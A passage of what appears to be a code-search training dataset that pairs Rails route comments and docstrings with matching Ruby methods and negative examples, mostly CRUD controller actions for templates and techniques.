"def create\n @technique_template = TechniqueTemplate.new(params[:technique_template])\n @technique = Technique.new(params[:technique])\n @technique_template.technique = @technique\n\n respond_to do |format|\n if @technique_template.save && @technique.save\n format.html { redirect_to(@technique_template, :notice => 'Technique template was successfully created.') }\n format.xml { render :xml => @technique_template, :status => :created, :location => @technique_template }\n else\n @technique.destroy if @technique.errors.count == 0\n @technique_template.destroy if @technique_template.errors.count == 0\n format.html { render :action => \"new\" }\n format.xml { render :xml => @technique_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_template }\n end\n end",
"def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @training_class }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @training_module }\n end\n end",
"def new\n @site_template = SiteTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_template }\n end\n end",
"def new\n @template_achievemint = TemplateAchievemint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_achievemint }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /technique_templates POST /technique_templates.xml | def create
@technique_template = TechniqueTemplate.new(params[:technique_template])
@technique = Technique.new(params[:technique])
@technique_template.technique = @technique
respond_to do |format|
if @technique_template.save && @technique.save
format.html { redirect_to(@technique_template, :notice => 'Technique template was successfully created.') }
format.xml { render :xml => @technique_template, :status => :created, :location => @technique_template }
else
@technique.destroy if @technique.errors.count == 0
@technique_template.destroy if @technique_template.errors.count == 0
format.html { render :action => "new" }
format.xml { render :xml => @technique_template.errors, :status => :unprocessable_entity }
end
end
end | [
"def new\n @technique_template = TechniqueTemplate.new\n @technique = Technique.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @technique_template }\n end\n end",
"def create\n @technique = Technique.new(technique_params)\n\n if @technique.save\n render json: @technique, status: :created, location: @technique\n else\n render json: @technique.errors, status: :unprocessable_entity\n end\n end",
"def create\n \n @lesson_template = LessonTemplate.new(params[:lesson_template])\n @lesson_template.set_base_ids(current_teacher)\n @lesson_template.set_access_type(params[:access_type])\n \n respond_to do |format|\n if @lesson_template.save\n format.html { redirect_to(lesson_templates_path, :notice => 'Lesson template was successfully created.') }\n format.xml { render :xml => @lesson_template, :status => :created, :location => @lesson_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lesson_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @technique = Technique.new(params[:technique])\n\n respond_to do |format|\n if @technique.save\n format.html { redirect_to @technique, :notice => 'Technique was successfully created.' }\n format.json { render :json => @technique, :status => :created, :location => @technique }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @technique.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @technique_templates = TechniqueTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @technique_templates }\n end\n end",
"def create\n @technique_type = TechniqueType.new(params[:technique_type])\n\n respond_to do |format|\n if @technique_type.save\n flash[:notice] = 'Technique Type was successfully created.'\n format.html { redirect_to(@technique_type, :notice => 'Technique type was successfully created.') }\n format.xml { render :xml => @technique_type, :status => :created, :location => @technique_type }\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @technique_type.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def add_report_template(args = {}) \n post(\"/reports.json/template\", args)\nend",
"def create\n @attack_type_template = AttackTypeTemplate.new(attack_type_template_params)\n\n respond_to do |format|\n if @attack_type_template.save\n format.html { redirect_to @attack_type_template, notice: 'Attack type template was successfully created.' }\n format.json { render :show, status: :created, location: @attack_type_template }\n else\n format.html { render :new }\n format.json { render json: @attack_type_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quest_template = QuestTemplate.new(params[:quest_template])\n\n respond_to do |format|\n if @quest_template.save\n flash[:notice] = 'QuestTemplate was successfully created.'\n format.html { redirect_to(@quest_template) }\n format.xml { render :xml => @quest_template, :status => :created, :location => @quest_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quest_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @technique_template = TechniqueTemplate.find(params[:id])\n @technique_template.technique.destroy\n @technique_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(technique_templates_url) }\n format.xml { head :ok }\n end\n end",
"def create(values)\n @client.call(method: :post, path: 'templates', body_values: values)\n end",
"def create\n @construction_technique = ConstructionTechnique.new(params[:construction_technique])\n\n respond_to do |format|\n if @construction_technique.save\n flash[:notice] = 'ConstructionTechnique was successfully created.'\n format.html { redirect_to(@construction_technique) }\n format.xml { render :xml => @construction_technique, :status => :created, :location => @construction_technique }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @construction_technique.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @technique_class = TechniqueClass.new(params[:technique_class])\n\n respond_to do |format|\n if @technique_class.save\n format.html { redirect_to @technique_class, notice: 'Technique class was successfully created.' }\n format.json { render json: @technique_class, status: :created, location: @technique_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @technique_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @ppos_template = PposTemplate.find(params[:ppos_template_id])\n @prerequisite_template = @ppos_template.prerequisite_templates.build()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prerequisite_template }\n end\n end",
"def create\n @day_template = DayTemplate.find(params[:day_template_id])\n @template_lesson = @day_template.template_lessons.build(params[:template_lesson])\n\n respond_to do |format|\n if @template_lesson.save\n format.html { redirect_to(school_class_day_template_url(@day_template.school_class, @day_template)) }\n format.xml { render :xml => @template_lesson, :status => :created, :location => @template_lesson }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @template_lesson.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @correspondence_template = CorrespondenceTemplate.new(params[:correspondence_template])\n\n @correspondence_template.department_id = current_user.department_id\n\n respond_to do |format|\n if @correspondence_template.save\n flash[:notice] = 'Correspondence Template was successfully created.'\n format.html { redirect_to(@correspondence_template) }\n format.xml { render :xml => @correspondence_template, :status => :created, :location => @correspondence_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @correspondence_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lesson_template = LessonTemplate.new(lesson_template_params)\n\n respond_to do |format|\n if @lesson_template.save\n format.html { redirect_to @lesson_template, notice: 'Lesson template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lesson_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @lesson_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @examtemplate = Examtemplate.new(params[:examtemplate])\n\n respond_to do |format|\n if @examtemplate.save\n format.html { redirect_to(@examtemplate, :notice => 'Examtemplate was successfully created.') }\n format.xml { render :xml => @examtemplate, :status => :created, :location => @examtemplate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @examtemplate.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PUT /technique_templates/1 PUT /technique_templates/1.xml | def update
@technique_template = TechniqueTemplate.find(params[:id])
@technique = @technique_template.technique
respond_to do |format|
if @technique_template.update_attributes(params[:technique_template]) and
@technique.update_attributes(params[:technique])
format.html { redirect_to(@technique_template, :notice => 'Technique template was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @technique_template.errors, :status => :unprocessable_entity }
end
end
end | [
"def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.folder = params[:mytemplate][:folder]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @technique_type = TechniqueType.find(params[:id])\n\n respond_to do |format|\n if @technique_type.update_attributes(params[:technique_type])\n format.html { redirect_to(@technique_type, :notice => 'Technique type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @technique_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_report_template(args = {}) \n put(\"/reports.json/template/#{args[:templateId]}\", args)\nend",
"def update\n @template = current_site.templates.find(params[:id])\n params[:template].delete(:name) unless @template.is_deletable?\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to(edit_admin_template_url(@template), :notice => t('templates.notices.updated', :default=>'Template was successfully updated.')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @technique_template = TechniqueTemplate.new(params[:technique_template])\n @technique = Technique.new(params[:technique])\n @technique_template.technique = @technique\n\n respond_to do |format|\n if @technique_template.save && @technique.save\n format.html { redirect_to(@technique_template, :notice => 'Technique template was successfully created.') }\n format.xml { render :xml => @technique_template, :status => :created, :location => @technique_template }\n else\n @technique.destroy if @technique.errors.count == 0\n @technique_template.destroy if @technique_template.errors.count == 0\n format.html { render :action => \"new\" }\n format.xml { render :xml => @technique_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @technique = Technique.find(params[:id])\n\n if @technique.update(params[:technique])\n head :no_content\n else\n render json: @technique.errors, status: :unprocessable_entity\n end\n end",
"def update\n @quest_template = QuestTemplate.find(params[:id])\n\n respond_to do |format|\n if @quest_template.update_attributes(params[:quest_template])\n flash[:notice] = 'QuestTemplate was successfully updated.'\n format.html { redirect_to(@quest_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quest_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lesson_template = LessonTemplate.find(params[:id])\n\n respond_to do |format|\n if @lesson_template.update_attributes(params[:lesson_template])\n format.html { redirect_to(@lesson_template, :notice => 'Lesson template was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lesson_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @_template = @site.templates.find(params[:id])\n @_template.updated_by = current_user\n\n respond_to do |format|\n if @_template.update_attributes(params[:template])\n flash[:notice] = \"Template was successfully updated.\"\n format.html { redirect_to([:admin, @site, @_template]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @technique_template = TechniqueTemplate.find(params[:id])\n @technique_template.technique.destroy\n @technique_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(technique_templates_url) }\n format.xml { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @template_type.update_attributes(template_type_params)\n format.html { redirect_to @template_type, notice: @controller_name +t(:message_success_update)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailee_template = Mailee::Template.find(params[:id])\n\n respond_to do |format|\n if @mailee_template.update_attributes(params[:mailee_template])\n format.html { redirect_to(@mailee_template, :notice => 'Mailee template was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mailee_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attack_type_template.update(attack_type_template_params)\n format.html { redirect_to @attack_type_template, notice: 'Attack type template was successfully updated.' }\n format.json { render :show, status: :ok, location: @attack_type_template }\n else\n format.html { render :edit }\n format.json { render json: @attack_type_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @template = templates_keystore_params[:source_type] == 'Templates::Template' ? Templates::Template.find(templates_keystore_params[:source_id]) : Templates::Page.find(templates_keystore_params[:source_id]).try(:template)\n\n respond_to do |format|\n if @templates_keystore.update(templates_keystore_params)\n format.html { redirect_to @template, notice: 'Keystore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @templates_keystore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @technique = Technique.find(params[:id])\n\n respond_to do |format|\n if @technique.update_attributes(params[:technique])\n format.html { redirect_to @technique, :notice => 'Technique was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @technique.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @correspondence_template = CorrespondenceTemplate.find(params[:id])\n\n respond_to do |format|\n if @correspondence_template.update_attributes(params[:correspondence_template])\n flash[:notice] = 'Correspondence Template was successfully updated.'\n format.html { redirect_to(@correspondence_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @correspondence_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @examtemplate = Examtemplate.find(params[:id])\n\n respond_to do |format|\n if @examtemplate.update_attributes(params[:examtemplate])\n format.html { redirect_to(@examtemplate, :notice => 'Examtemplate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @examtemplate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @exercise_template = ExerciseTemplate.find(params[:id])\n\n if @exercise_template.update(exercise_template_params)\n head :no_content\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end",
"def ajax_update_template_info\n\n # Access current template being edited\n template = EmailTemplate.find(params[:template_id])\n\n template.name = params[:name]\n template.description = params[:description]\n template.email_subject = params[:email_subject]\n\n template.put('', {\n :name => template.name,\n :description => template.description,\n :email_subject => template.email_subject\n })\n\n\n response = {\n :success => true\n }\n\n # Return JSON response\n render json: response\n\n\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /technique_templates/1 DELETE /technique_templates/1.xml | def destroy
@technique_template = TechniqueTemplate.find(params[:id])
@technique_template.technique.destroy
@technique_template.destroy
respond_to do |format|
format.html { redirect_to(technique_templates_url) }
format.xml { head :ok }
end
end | [
"def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end",
"def trash_template(guid)\n delete \"/api/templates/#{guid}.xml\"\n end",
"def destroy\n @examtemplate = Examtemplate.find(params[:id])\n @examtemplate.destroy\n\n respond_to do |format|\n format.html { redirect_to(examtemplates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mailee_template = Mailee::Template.find(params[:id])\n @mailee_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @correspondence_template = CorrespondenceTemplate.find(params[:id])\n @correspondence_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondence_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lesson_template = LessonTemplate.find(params[:id])\n @lesson_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @plant_template = PlantTemplate.find(params[:id])\n @plant_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(plant_templates_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n\t\tparams[:id].each do |i|\n\t\t\t@template = Template.get_template i.to_d\n\t\t\tif !@template\n\t\t\t\tapi_err 20009, \"don't found template\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\tif @template.ref > 0\n\t\t\t\tapi_err 20017,\"template ref more than 1\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\t@template.destroy\n\t\tend\n\tend",
"def destroy\n @study_template = StudyTemplate.find(params[:id])\n @study_template.destroy\n\n respond_to do |format|\n #format.html { redirect_to(study_templates_url) }\n #format.xml { head :ok }\n end\n end",
"def destroy\n @attr_template.destroy\n respond_to do |format|\n format.html { redirect_to attr_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @view_template = ViewTemplate.find(params[:id])\n @view_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(view_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @deposit_template = current_user.family.deposit_templates.find(params[:id])\n @deposit_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_templates_url) }\n format.xml { head :ok }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n @_template = @site.templates.find(params[:id])\n @_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ppos_template = PposTemplate.find(params[:id])\n @ppos_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(ppos_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @administration_email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(administration_email_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @goaltemplate = Goaltemplate.find(params[:id])\n @goaltemplate.destroy\n\n respond_to do |format|\n format.html { redirect_to(goaltemplates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @the_template = SiteTemplate.find(params[:id])\n @the_template.destroy\n\n respond_to do |format|\n format.html { redirect_to site_templates_url }\n format.xml { head :ok }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Hashie::Mash will throw warnings if the Mash contains a key that is the same as a builtin method on a Hashie::Mash instance. This is a crude way of avoiding those warnings without hardcoding a bunch of key renames. Any key that is in conflict will be renamed "es_ORIGINALKEY" | def fix_mash_key_collision(data)
test_mash = Hashie::Mash.new
new_data = {}
data.each do |key, value|
new_key = test_mash.respond_to?(key.to_sym) ? "es_#{key}" : key
new_value = value.is_a?(Hash) ? fix_mash_key_collision(value) : value
new_data[new_key] = new_value
end
new_data
end | [
"def rename_key(key, new_key)\n fail NotImplementedError\n end",
"def _rename_bad_keys\n result = Hash[initial_scan.map { |k, v| [k.sub(/\\Amenu_at_allears.net/, 'menu'), v] }]\n end",
"def mp_symbolize_keys!\n mp_transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deprecated_key=(_arg0); end",
"def restore_original_key\n self.send(:\"#{self.class.key_method_name}=\", @original_key)\n end",
"def rename_keys(renames, hash)\n renames.reduce(hash.dup) do |h, (old_key, new_key)|\n h[new_key] = h[old_key] if h.has_key?(old_key)\n h.delete(old_key)\n h\n end\n end",
"def convert_special_keys(params)\n new_params = params.dup\n\n SPECIAL_KEYS.each do |original_key|\n omit_prefix = (\n client.version_support.es_version_7_plus? &&\n UNPREFIXED_SPECIAL_KEYS.include?(original_key)\n )\n\n converted_key = (omit_prefix ? \"\" : \"_\") + original_key\n\n if new_params.key?(original_key)\n new_params[converted_key] = new_params.delete(original_key)\n end\n\n if new_params.key?(original_key.to_sym)\n new_params[converted_key.to_sym] = new_params.delete(original_key.to_sym)\n end\n end\n\n new_params\n end",
"def key_coercions; end",
"def replace_aliases_with_original_keys(hash)\n # DISCUSS: Better way to check for alias presence in `hash`\n return hash unless (hash.keys & @aliases.values).any?\n\n _hash = hash.dup\n\n @aliases.each do |original_key, _alias|\n _hash[original_key] = _hash.delete(_alias) if _hash.key?(_alias)\n end\n\n return _hash\n end",
"def _conflicting_modification_key\n _path.sub(/\\..*/, '')\n end",
"def normalize_keys(hash)\n hash.each{|k, v|\n hash.delete(k) unless @@valid_types.include?(v.class)\n if k.is_a?(String)\n hash.delete(k)\n hash[k.gsub(/\\-/, \"_\").to_sym] = v\n elsif !k.is_a?(Symbol) # elsunless\n hash.delete(k)\n end\n }\n return hash\nend",
"def rename_store_key(old, new)\n mod_store[new] = mod_store.delete old\n end",
"def new_key(old_key)\n key_store[old_key] || old_key\n end",
"def alias(new_key, old_key)\n @jvms[new_key] = @jvms[old_key]\n end",
"def translate_keys(mapping)\n dup.translate_keys!(mapping)\n end",
"def expanded_key(key) # :nodoc:\n return validate_key(key.cache_key.to_s) if key.respond_to?(:cache_key)\n\n case key\n when Array\n if key.size > 1\n key = key.collect{|element| expanded_key(element)}\n else\n key = key.first\n end\n when Hash\n key = key.sort_by { |k,_| k.to_s }.collect{|k,v| \"#{k}=#{v}\"}\n end\n\n validate_key(key.respond_to?(:to_param) ? key.to_param : key)\n end",
"def key_coercions=(_arg0); end",
"def symbolize_keys!\n transform_keys!(&:to_sym)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Return an array of ordered Row objects for display, one row per player. | def players
return @players if @players
# Get raw rating data, initially using a hash to tie ICU and FIDE ratings together for each player.
rows = icu_players
fide_players(rows)
# Turn into an array and then calculate an average for each row.
rows = rows.values
rows.each do |row|
average, weight = 0.0, 0.0
average, weight = rating_average(row, average, weight, :icu)
average, weight = rating_average(row, average, weight, :fide)
row.average = weight > 0.0 ? average / weight : 0.0
end
# Sort the array.
rows.sort! { |a,b| b.average <=> a.average }
# Finally, truncate, cache and return.
@players = rows[0..@maximum-1]
end | [
"def rows; @board.transpose; end",
"def players\n @player.keys.sort.map{ |num| @player[num] }\n end",
"def to_row_array\n (0..height-1).map do |index|\n generate_row_array index\n end\n end",
"def players\n @player.values.sort_by{ |p| p.num }\n end",
"def rows\n rows = []\n @board.each do |row|\n rows << row.join # => \"123\"\n end\n return rows\n\tend",
"def rows\n rows = Array.new\n @data.each_index do |r|\n row = Hash.new\n @data[r].each_index do |c|\n name = @col_names[c]\n row[name] = @data[r][c]\n end\n rn = @row_names[r]\n row.instance_eval do\n @row_name = rn\n def self.row_name\n @row_name\n end\n end\n rows << row\n end\n rows\n end",
"def create_player_array\n @player_ordered_list = [Player.new('Player 1', 'O'), Player.new('Player 2', 'X')]\n end",
"def pawn_row(team_color)\n return_row = []\n 8.times do\n return_row << Pawn.new(team_color, self)\n end\n return_row\n end",
"def rows\n Array.new self\n end",
"def players(ordering = :raw)\n\t\t@@logger.info { \"Retrieving players.\" } if have_logger?\n\t\tmyplayers = Player.dataset.filter(:tournament_id => self.id).all\n\t\tcase ordering\n\t\t\twhen :random then\n\t\t\t\t@@logger.info { \"Ordering players: :random.\" } if have_logger?\n\t\t\t\tmyplayers.shuffle\n\t\t\twhen :criteria then\n\t\t\t\t@@logger.info { \"Ordering players: :criteria.\" } if have_logger?\n\t\t\t\tmyplayers.sort do |a, b|\n\t\t\t\t\ta_side = []\n\t\t\t\t\tb_side = []\n\t\t\t\t\tself.criteria.each do |func|\n\t\t\t\t\t\ta_side << a.send(func)\n\t\t\t\t\t\tb_side << b.send(func)\n\t\t\t\t\tend\n\t\t\t\t\tb_side <=> a_side\n\t\t\t\tend\n\t\t\twhen :score, :soft then\n\t\t\t\t@@logger.info { \"Ordering players: :score or :soft.\" } if have_logger?\n\t\t\t\tmyplayers.sort { |a, b| b.score <=> a.score }\n\t\t\twhen :hard then\n\t\t\t\t@@logger.info { \"Ordering players: :hard.\" } if have_logger?\n\t\t\t\tscores = []\n\t\t\t\tmyplayers.each { |player| scores << player.score unless scores.include?(player.score) }\n\t\t\t\tscores.each do |score|\n\t\t\t\t\t# Select those with same score\n\t\t\t\t\tplayers_tmp = myplayers.select { |player| player.score == score }\n\t\t\t\t\tnext if players_tmp.length <= 1 # If not more than one, get next group\n\t\t\t\t\t# Great... we have a group. Remove them from the main array\n\t\t\t\t\tmyplayers.delete_if { |player| player.score == score }\n\t\t\t\t\t# Shuffle the temp array\n\t\t\t\t\tplayers_tmp.shuffle!\n\t\t\t\t\t# Give it back to the main array\n\t\t\t\t\tmyplayers += players_tmp\n\t\t\t\tend\n\t\t\t\t# Sort it again in the end\n\t\t\t\tmyplayers.sort { |a, b| b.score <=> a.score }\n\t\t\telse\n\t\t\t\t# This include the :raw case\n\t\t\t\t@@logger.info { \"Ordering players: :raw or any other thing.\" } if have_logger?\n\t\t\t\tmyplayers\n\t\tend\n\tend",
"def players\n [@player1, @player2].sort_by { |player| player.first ? 0 : 1 }\n end",
"def rows\n @rows ||= radar_reading.rows[(y + 1 - height)..y].map do |row|\n row[(x + 1 - width)..x]\n end\n end",
"def rows\n @rows\n end",
"def players\r\n return @rooms.map { |room| room.players }.flatten\r\n end",
"def rows\n Enumerator.new do |y|\n @creek_sheet.rows.each_with_index do |row, index|\n unless index == 0 && @opts[:first_row_is_header]\n y << Ditch::IndexedRow.new(@headers, index+1, row)\n end\n end\n end\n end",
"def entries_to_players\n\t\tplayers = []\n\t\t@entries.each do |entry|\n\t\t\tif entry.enabled\n\t\t\t\tplayers << entry.player\n\t\t\tend\n\t\tend\n\t\tplayers\n\tend",
"def rows(transcoder = self.transcoder)\n @rows.lazy.map { |row| transcoder.decode(row, 0) }\n end",
"def rows\n RowCollection.new(@data)\n end",
"def _get_board_rows()\n array_of_rows = []\n sudoku_board.each { |row| array_of_rows << row }\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
get all the other sections that belong to the parent chart except this one (self) | def sibling_sections
self.chart.sections - [self]
end | [
"def subsections\n return suite.sections.select do |sect|\n sect.parent_id == data.id\n end\n end",
"def sub_sections\n sections = @api.get_sections( :project_id => @project_id, :suite_id => @suite_id )\n sections.reject{ |s| s.parent_id != @id }\n end",
"def subsections\n Section.where(parent_id: id)\n end",
"def sections\n sections = @api.get_sections( :project_id => @project_id, :suite_id => @id )\n sections.reject{ |s| s.parent_id != nil }\n end",
"def sub_charts\n @sub_charts\n end",
"def parent_section\n self.parent_sections[0]\n end",
"def sections\n return @sections\n end",
"def parent_section\n parent_sections[0]\n end",
"def parent_section\n return @parent_section\n end",
"def all_sections(version_id)\n\t\tif parent.nil?\n\t\t\tsecs = sections.where(\"version_id = ?\", version_id)\n\t\t\tif secs.nil? then\n\t\t\t\tsecs = Array.new\n\t\t\tend\n\t\t\treturn secs\n\t\telse\n\t\t\treturn sections.where(\"version_id = ? \", version_id).all + parent.all_sections(version_id)\n\t\tend\n\tend",
"def subgroups\n self.time_series.groups.where(parent_id: self.id)\n end",
"def sectionless_groupings\n groupings.select do |grouping|\n grouping.inviter.present? &&\n !grouping.inviter.has_section?\n end\n end",
"def assessment_divisions(assessment)\n if assessment.quiz_sections.empty?\n [assessment]\n else\n assessment_division_set = []\n assessment.quiz_sections.each do |quiz_section|\n if quiz_section.children_sections.empty? and quiz_section.parent_id.nil?\n assessment_division_set << quiz_section\n else\n quiz_section.children_sections.each do |child_section|\n assessment_division_set << child_section\n end\n end\n end\n assessment_division_set\n end\n\n end",
"def sections\n temp_sections = []\n if @section_ids.count > 0\n @section_ids.each do |section_id|\n temp_sections.push @client.section(@org_id, section_id)\n end\n end\n return temp_sections\n end",
"def parent_section_group\n return @parent_section_group\n end",
"def sections\n extracted_sections = []\n\n unless self.qp_sections.nil?\n self.qp_sections.each do |section| \n extracted_sections.push(Section.new(section))\n end \n end\n\n return extracted_sections\n end",
"def section_filter citems\n filtered_citems = citems.map do |citem|\n citem.section == @section && !citem.hidden? ? citem : nil\n end\n filtered_citems.compact\n end",
"def all_subsections\n @all_subsections ||= all_sections.map { |_section_key, section_value|\n section_value[\"subsections\"]\n }.reduce(:merge)\n end",
"def section_groups\n return @section_groups\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
collection the read_html from each section_line's tool | def read_html
section_lines.map do |sl|
sl.propro_tool.read_html
end
end | [
"def extract_sections(doc)\n sections = []\n title = ''\n content = ''\n text_blocks(doc).each do |block|\n if block.at_css('h1')\n # Output any captured content to sections array, start new section.\n sections << { title: title, content: content } unless title.empty? && content.empty?\n title = titleize(block.at_css('h1').inner_text)\n content = ''\n else\n content += to_markdown(block.inner_html)\n end\n end\n # Add final section to array.\n if !title.empty? && !content.empty?\n sections << { title: title, content: content }\n end\n sections\nend",
"def extract_sections\n @start_doc.search('ul.secondary-nav li ul li a').map {|o|\n title = o.inner_text\n $stderr.puts \"#{title}\"\n articles_list = run_shell_command \"curl -s https://devcenter.heroku.com#{o['href']}\"\n { \n title: title,\n articles: get_articles(articles_list)\n }\n }\n end",
